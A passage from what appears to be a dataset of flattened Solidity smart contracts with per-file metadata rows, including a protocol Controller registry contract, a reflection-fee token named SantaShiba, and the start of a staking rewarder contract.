require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(200).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 319,282 | 14,167 |
c5d12de8be3a62bca7ac1038420fb208372cbaf3b23dfb4852a3d0dca4dd6771
| 26,863 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e5/E565711e7a59800e110c959E156121988E6F4704_Controller.sol
| 3,384 | 14,028 |
// Sources flattened with hardhat v2.0.11 https://hardhat.org
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[emailprotected]
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/lib/AddressArrayUtils.sol
library AddressArrayUtils {
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
function removeStorage(address[] storage A, address a)
internal
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here
if (index != lastIndex) { A[index] = A[lastIndex]; }
A.pop();
}
}
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
require(index < A.length, "Index must be < A length");
address[] memory newAddresses = new address[](length - 1);
for (uint256 i = 0; i < index; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = index + 1; j < length; j++) {
newAddresses[j - 1] = A[j];
}
return (newAddresses, A[index]);
}
function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) {
uint256 aLength = A.length;
uint256 bLength = B.length;
address[] memory newAddresses = new address[](aLength + bLength);
for (uint256 i = 0; i < aLength; i++) {
newAddresses[i] = A[i];
}
for (uint256 j = 0; j < bLength; j++) {
newAddresses[aLength + j] = B[j];
}
return newAddresses;
}
function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
function validatePairsWithArray(address[] memory A, string[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
function validatePairsWithArray(address[] memory A, address[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure {
require(A.length == B.length, "Array length mismatch");
_validateLengthAndUniqueness(A);
}
function _validateLengthAndUniqueness(address[] memory A) internal pure {
require(A.length > 0, "Array length must be > 0");
require(!hasDuplicate(A), "Cannot duplicate addresses");
}
}
// File contracts/protocol/Controller.sol
contract Controller is Ownable {
using AddressArrayUtils for address[];
event FactoryAdded(address indexed _factory);
event FactoryRemoved(address indexed _factory);
event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage);
event FeeRecipientChanged(address _newFeeRecipient);
event ModuleAdded(address indexed _module);
event ModuleRemoved(address indexed _module);
event ResourceAdded(address indexed _resource, uint256 _id);
event ResourceRemoved(address indexed _resource, uint256 _id);
event CKAdded(address indexed _ckToken, address indexed _factory);
event CKRemoved(address indexed _ckToken);
modifier onlyFactory() {
require(isFactory[msg.sender], "Only valid factories can call");
_;
}
modifier onlyInitialized() {
require(isInitialized, "Contract must be initialized.");
_;
}
// List of enabled CKs
address[] public cks;
// List of enabled factories of CKTokens
address[] public factories;
// List of enabled Modules; Modules extend the functionality of CKTokens
address[] public modules;
// List of enabled Resources; Resources provide data, functionality, or
// permissions that can be drawn upon from Module, CKTokens or factories
address[] public resources;
// Mappings to check whether address is valid CK, Factory, Module or Resource
mapping(address => bool) public isCK;
mapping(address => bool) public isFactory;
mapping(address => bool) public isModule;
mapping(address => bool) public isResource;
// Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes
// Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16)
mapping(address => mapping(uint256 => uint256)) public fees;
// Mapping of resource ID to resource address, which allows contracts to fetch the correct
// resource while providing an ID
mapping(uint256 => address) public resourceId;
// Recipient of protocol fees
address public feeRecipient;
// Return true if the controller is initialized
bool public isInitialized;
constructor(address _feeRecipient) public {
feeRecipient = _feeRecipient;
}
function initialize(address[] memory _factories,
address[] memory _modules,
address[] memory _resources,
uint256[] memory _resourceIds)
external
onlyOwner
{
require(!isInitialized, "Controller is already initialized");
require(_resources.length == _resourceIds.length, "Array lengths do not match.");
factories = _factories;
modules = _modules;
resources = _resources;
// Loop through and initialize isModule, isFactory, and isResource mapping
for (uint256 i = 0; i < _factories.length; i++) {
require(_factories[i] != address(0), "Zero address submitted.");
isFactory[_factories[i]] = true;
}
for (uint256 i = 0; i < _modules.length; i++) {
require(_modules[i] != address(0), "Zero address submitted.");
isModule[_modules[i]] = true;
}
for (uint256 i = 0; i < _resources.length; i++) {
require(_resources[i] != address(0), "Zero address submitted.");
require(resourceId[_resourceIds[i]] == address(0), "Resource ID already exists");
isResource[_resources[i]] = true;
resourceId[_resourceIds[i]] = _resources[i];
}
// Set to true to only allow initialization once
isInitialized = true;
}
function addCK(address _ckToken) external onlyInitialized onlyFactory {
require(!isCK[_ckToken], "CK already exists");
isCK[_ckToken] = true;
cks.push(_ckToken);
emit CKAdded(_ckToken, msg.sender);
}
function removeCK(address _ckToken) external onlyInitialized onlyOwner {
require(isCK[_ckToken], "CK does not exist");
cks = cks.remove(_ckToken);
isCK[_ckToken] = false;
emit CKRemoved(_ckToken);
}
function addFactory(address _factory) external onlyInitialized onlyOwner {
require(!isFactory[_factory], "Factory already exists");
isFactory[_factory] = true;
factories.push(_factory);
emit FactoryAdded(_factory);
}
function removeFactory(address _factory) external onlyInitialized onlyOwner {
require(isFactory[_factory], "Factory does not exist");
factories = factories.remove(_factory);
isFactory[_factory] = false;
emit FactoryRemoved(_factory);
}
function addModule(address _module) external onlyInitialized onlyOwner {
require(!isModule[_module], "Module already exists");
isModule[_module] = true;
modules.push(_module);
emit ModuleAdded(_module);
}
function removeModule(address _module) external onlyInitialized onlyOwner {
require(isModule[_module], "Module does not exist");
modules = modules.remove(_module);
isModule[_module] = false;
emit ModuleRemoved(_module);
}
function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner {
require(!isResource[_resource], "Resource already exists");
require(resourceId[_id] == address(0), "Resource ID already exists");
isResource[_resource] = true;
resourceId[_id] = _resource;
resources.push(_resource);
emit ResourceAdded(_resource, _id);
}
function removeResource(uint256 _id) external onlyInitialized onlyOwner {
address resourceToRemove = resourceId[_id];
require(resourceToRemove != address(0), "Resource does not exist");
resources = resources.remove(resourceToRemove);
delete resourceId[_id];
isResource[resourceToRemove] = false;
emit ResourceRemoved(resourceToRemove, _id);
}
function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner {
require(isModule[_module], "Module does not exist");
require(fees[_module][_feeType] == 0, "Fee type already exists on module");
fees[_module][_feeType] = _newFeePercentage;
emit FeeEdited(_module, _feeType, _newFeePercentage);
}
function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner {
require(isModule[_module], "Module does not exist");
require(fees[_module][_feeType] != 0, "Fee type does not exist on module");
fees[_module][_feeType] = _newFeePercentage;
emit FeeEdited(_module, _feeType, _newFeePercentage);
}
function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner {
require(_newFeeRecipient != address(0), "Address must not be 0");
feeRecipient = _newFeeRecipient;
emit FeeRecipientChanged(_newFeeRecipient);
}
function getModuleFee(address _moduleAddress,
uint256 _feeType)
external
view
returns (uint256)
{
return fees[_moduleAddress][_feeType];
}
function getFactories() external view returns (address[] memory) {
return factories;
}
function getModules() external view returns (address[] memory) {
return modules;
}
function getResources() external view returns (address[] memory) {
return resources;
}
function getCKs() external view returns (address[] memory) {
return cks;
}
function isSystemContract(address _contractAddress) external view returns (bool) {
return (isCK[_contractAddress] ||
isModule[_contractAddress] ||
isResource[_contractAddress] ||
isFactory[_contractAddress] ||
_contractAddress == address(this));
}
}
| 77,596 | 14,168 |
ff1635bf9900517454e33b1c1e69fee3c2c197760bb74e76c3ae7f4d9dba50d9
| 26,328 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/a9/a9a640621e943abe861182972a880a64c7df6539_SantaShiba.sol
| 4,473 | 16,826 |
// For every transaction: 2% gets burned and 2% gets redistributed
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SantaShiba is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 25 * 10**6 * 10**8;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'SantaShiba';
string private _symbol = 'SANTA';
uint8 private _decimals = 8;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 totalTransferAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(totalTransferAmount);
}
function reflectionFromToken(uint256 totalTransferAmount, bool deductTransferFee) public view returns(uint256) {
require(totalTransferAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(totalTransferAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(totalTransferAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already included");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwned[sender] = _tOwned[sender].sub(totalTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 totalTransferAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 transferAmount, uint256 tFee) = _getValues(totalTransferAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwned[sender] = _tOwned[sender].sub(totalTransferAmount);
_tOwned[recipient] = _tOwned[recipient].add(transferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, transferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 totalTransferAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 transferAmount, uint256 transferFee) = _getTransferValues(totalTransferAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(totalTransferAmount, transferFee, currentRate);
return (rAmount, rTransferAmount, rFee, transferAmount, transferFee);
}
function _getTransferValues(uint256 totalTransferAmount) private pure returns (uint256, uint256) {
uint256 transferFee = totalTransferAmount.div(100).mul(3);
uint256 transferAmount = totalTransferAmount.sub(transferFee);
return (transferAmount, transferFee);
}
function _getRValues(uint256 totalTransferAmount, uint256 transferFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = totalTransferAmount.mul(currentRate);
uint256 rFee = transferFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 316,143 | 14,169 |
53c34404808e393ac68d252eadd1cb34efe360b0c6e3b6060629b4aaa29c1e7c
| 21,476 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/44/4435a7b1a3f0d4c57aeda21b7043936f8b183a13_Rewarder_MasterChef_Style.sol
| 3,620 | 15,421 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IRewarder {
function onPefiReward(uint256 pid, address user, address recipient, uint256 pefiAmount, uint256 newShareAmount) external;
function pendingTokens(uint256 pid, address user, uint256 pefiAmount) external view returns (IERC20[] memory, uint256[] memory);
}
interface IIglooMaster {
function totalShares(uint256 pid) external view returns (uint256);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
